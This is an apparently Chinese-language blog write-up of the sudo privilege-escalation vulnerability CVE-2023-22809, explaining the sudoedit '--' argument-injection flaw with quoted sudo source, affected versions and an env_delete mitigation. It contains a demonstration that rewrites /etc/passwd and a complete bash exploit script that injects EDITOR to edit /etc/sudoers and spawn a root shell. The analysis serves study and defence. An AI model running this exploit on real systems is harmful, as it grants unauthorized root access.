Linux Sudo权限提升漏洞(CVE-2023-22809)

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
简介: Sudo存在权限提升漏洞,攻击者可过特定的payload获取服务器ROOT权限

声明


  请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、Sudo介绍


  sudo允许系统管理员将权限委托给某些用户(或用户组),能够以ROOT用户或其他用户身份运行部分(或全部)命令。


二、漏洞概述


  sudo使用用户提供的环境变量让用户选择他们所选择的编辑器。的内容其中一个变量扩展了传递给sudo_edit()函数的实际命令。


  然而,后者依赖于——参数的存在来确定要编辑的文件列表。注入在一个已授权的环境变量中使用额外的——参数可以更改此列表并导致特权通过编辑具有RunAs用户权限的任何其他文件来升级。这个问题发生在sudoers之后。


三、漏洞成因


 由于Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 " –" 参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。除外,该漏洞还影响部分QNAP操作系统:QTS、QuTS hero、QuTScloud、QVP(QVR Pro设备)。


四、漏洞分析


  sudoers策略插件首先调用sudoers_policy_main()来处理的查找和验证使用sudoers_lookup()的策略。不过,在此功能结束后,策略成功验证时,使用名为find_editor()的编辑器查找方法重写命令。


// plugins/sudoers/sudoers.c@sudoers_policy_main()

int

sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],

bool verbose, void *closure)

{

// [...]

validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);

// [...]

if (ISSET(sudo_mode, MODE_EDIT)) {

// [...]

safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc, &edit_argv, NULL,

&env_editor, false);


该函数首先使用用户提供的三个环境变量执行编辑器查找文档,SUDO_EDITOR, VISUALEDITOR


// plugins/sudoers/editor.c@find_editor()

char *

find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,

char * const *allowlist, const char **env_editor, bool env_error)

{

// [...]

*env_editor = NULL;

ev[0] = "SUDO_EDITOR";

ev[1] = "VISUAL";

ev[2] = "EDITOR";

for (i = 0; i < nitems(ev); i++) {

char *editor = getenv(ev[i]);

if (editor != NULL && *editor != '\0') {

*env_editor = editor;

editor_path = resolve_editor(editor, strlen(editor), nfiles, files,

argc_out, argv_out, allowlist);


如果存在,则将每个值发送到resolve_editor()进行解析。然而,后者不仅如此解析编辑器的路径,但也接受在最后的命令行中传递的额外参数。类中的文件分开,这些参数放在——(双破折号)参数之前原来的命令行。


// plugins/sudoers/editor.c@resolve_editor()

static char *

resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,

int *argc_out, char ***argv_out, char * const *allowlist)

{

// [...]

/*

* Split editor into an argument vector, including files to edit.

* The EDITOR and VISUAL environment variables may contain command

* line args so look for those and alloc space for them too.

*/

cp = wordsplit(ed, edend, &ep);

// [...]

editor = copy_arg(cp, ep – cp);

/* Count rest of arguments and allocate editor argv. */

for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )

nargc++;

if (nfiles != 0)

nargc += nfiles + 1;

nargv = reallocarray(NULL, nargc + 1, sizeof(char *));

// [...]

/* Fill in editor argv (assumes files[] is NULL-terminated). */

nargv[0] = editor;

// [...]

for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {

/* Copy string, collapsing chars escaped with a backslash. */

nargv[nargc] = copy_arg(cp, ep - cp);

// [...]

}

if (nfiles != 0) {

nargv[nargc++] = "--";

while (nfiles--)

nargv[nargc++] = *files++;

}

nargv[nargc] = NULL;

*argc_out = nargc;

*argv_out = nargv;


然后使用生成的命令调用sudo_edit()函数。找到临时工作后可写目录(/var/tmp/usr/tmp/tmp或操作被取消),方法解析命令行提取要处理的文件列表。为此,前面的——(双破折号)参数是用作分隔符,其右边的每个参数都被视为要处理的文件名。


// src/sudo_edit.c@sudo_edit()

int

sudo_edit(struct command_details *command_details)

{

// [...]

/*

* Set real, effective and saved uids to root.

* We will change the euid as needed below.

*/

setuid(ROOT_UID);

// [...]

/* Find a temporary directory writable by the user. */

set_tmpdir(&user_details.cred);

// [...]

/*

* The user's editor must be separated from the files to be

* edited by a "--" option.

*/

for (ap = command_details->argv; *ap != NULL; ap++) {

if (files)

nfiles++;

else if (strcmp(*ap, "--") == 0)

files = ap + 1;

else

editor_argc++;

}

在之前的环境中注入额外的双破折号时,这种行为会导致混乱用于查找编辑器的变量。


EDITOR='vim -- /path/to/extra/file'


使用这个值,命令行将被解析为:


vim -- /path/to/extra/file -- /path/from/policy


因此,假设采用以下策略,用户将能够通过编辑将权限升级到root

系统中的敏感文件。

$ cat /etc/sudoers

user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf

[...]

$ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf

sudoedit: --: editing files in a writable directory is not permitted

2 files to edit

sudoedit: /etc/custom/service.conf unchanged

$ tail -1 /etc/passwd

sudoedit::0:0:root:/root:/bin/bash

此漏洞允许被授权使用sudoedit编辑文件的用户编辑其他文件配置的RunAs用户


五、影响版本


  • Sudo:
    1.8.0~1.9.12p1均受影响

  • QTS与QuTS hero:
    QTS < 5.0.1.2346 build 20230322
    QuTS < hero h5.0.1.2348 build 20230324

六、本地复现


EXP:

#!/usr/bin/env bash

#

# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation

#  

# Exploit Author: n3m1.sys

# CVE: CVE-2023-22809

# Date: 2023/01/21

# Vendor Homepage: https://www.sudo.ws/

# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz

# Version: 1.8.0 to 1.9.12p1

# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9

#

# Running this exploit on a vulnerable system allows a localiattacker to gain  

# a root shell on the machine.

#

# The exploit checks if the current user has privileges to run sudoedit or  

# sudo -e on a file as root. If so it will open the sudoers file for the

# attacker to add a line to gain privileges on all the files and get a root  

# shell.

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'

then

   echo "> Currently installed sudo version is not vulnerable"

   exit 1

fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then

   echo "> It doesn't seem that this user can run sudoedit as root"

   read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2

else

   echo "> BINGO! User exploitable"

fi

echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"

echo "$USER ALL=(ALL:ALL) ALL"

read -n 1 -s -r -p "Press any key to continue..."

EDITOR="vim -- /etc/sudoers" $EXPLOITABLE

sudo su root

exit 0


使用以上EXP进行利用,查看本地Sudo版本

image.png

将EXP写入到linux可执行脚本文件 .sh文件中

然后执行

image.png

七、修复建议


使用sudoedit时,将受影响的环境变量添加到env_delete拒绝列表中。


例:

Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"

Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf

user ALL=(ALL:ALL) SUDOEDIT


参考链接:https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

目录
相关文章
|
2天前
|
运维 监控 安全
Linux_权限理解(详细PLUS)
【10月更文挑战第3天】本文介绍了Linux系统中的权限管理基础,包括文件系统对象与权限关联、权限的继承性、字符与数字表示法的解读,以及用户、组与权限的动态交互。详细解析了`chmod`命令的高级用法和权限修改的风险,探讨了SUID、SGID和Sticky Bit等特殊权限的作用机制,并提出了基于角色的权限分配和定期权限审计的最佳实践。
21 11
|
2月前
|
安全 Linux 数据安全/隐私保护
驾驭Linux的权力:Root与Sudo
在 Linux 系统中,权限管理至关重要,Root 用户与 Sudo 命令为核心组件。Root 作为超级用户,拥有最高权限,可执行任意命令,但也带来较高安全风险,建议仅在必要时使用。Sudo 则允许系统管理员授予普通用户临时的 Root 权限以执行特定命令,提升了系统的安全性和管理灵活性。通过合理配置 Sudoers 文件,可以实现对用户权限的精细化管理。综合运用 Root 和 Sudo 可确保系统的安全稳定运行。
27 1
|
2月前
|
Unix Linux Go
Linux中的chmod权限问题
Linux中的chmod权限问题
30 0
|
2月前
|
安全 Linux 数据安全/隐私保护
在Linux中,使用rsync服务模式时,如果指定了⼀个密码文件,那么这个密码文件的权限应该设置成多少才可以?
在Linux中,使用rsync服务模式时,如果指定了⼀个密码文件,那么这个密码文件的权限应该设置成多少才可以?
|
2月前
|
Linux
在Linux中,如何使用xargs和exec实现把当前目录下所有后缀名为.txt的⽂件的权限修改为777。
在Linux中,如何使用xargs和exec实现把当前目录下所有后缀名为.txt的⽂件的权限修改为777。
|
2月前
|
安全 Linux 数据安全/隐私保护
Linux安全大揭秘:一键切换root权限背后隐藏的秘密
【8月更文挑战第23天】Linux操作系统因其出色的灵活性和安全性备受推崇,用户权限管理是其核心功能之一。本文介绍如何安全地在用户间切换,特别是切换至拥有最高权限的root用户。我们探讨了两种主要的方法:`su` 和 `sudo` 命令,并通过示例展示了它们的应用场景。`su` 命令适合需要执行多个root权限操作的情况,而 `sudo` 更适用于临时执行单个高权限命令。同时,文章还提供了一些最佳实践,如避免长时间使用root账户、定期审查 `sudoers` 文件等,以确保系统的安全性。正确理解和应用这些工具和原则对于维护Linux系统的安全至关重要。
40 0
|
2月前
|
安全 Linux 数据安全/隐私保护
在Linux中,什么是最小权限原则?
在Linux中,什么是最小权限原则?
|
5月前
|
Linux Windows
Linux权限命令详解(二)
Linux权限命令详解(二)
|
5月前
|
安全 Linux 开发工具
Linux权限命令详解(一)
Linux权限命令详解(一)
|
5月前
|
Linux 数据安全/隐私保护
Linux 权限常用命令
【2月更文挑战第8天】
91 2
Linux 权限常用命令
下一篇
无影云桌面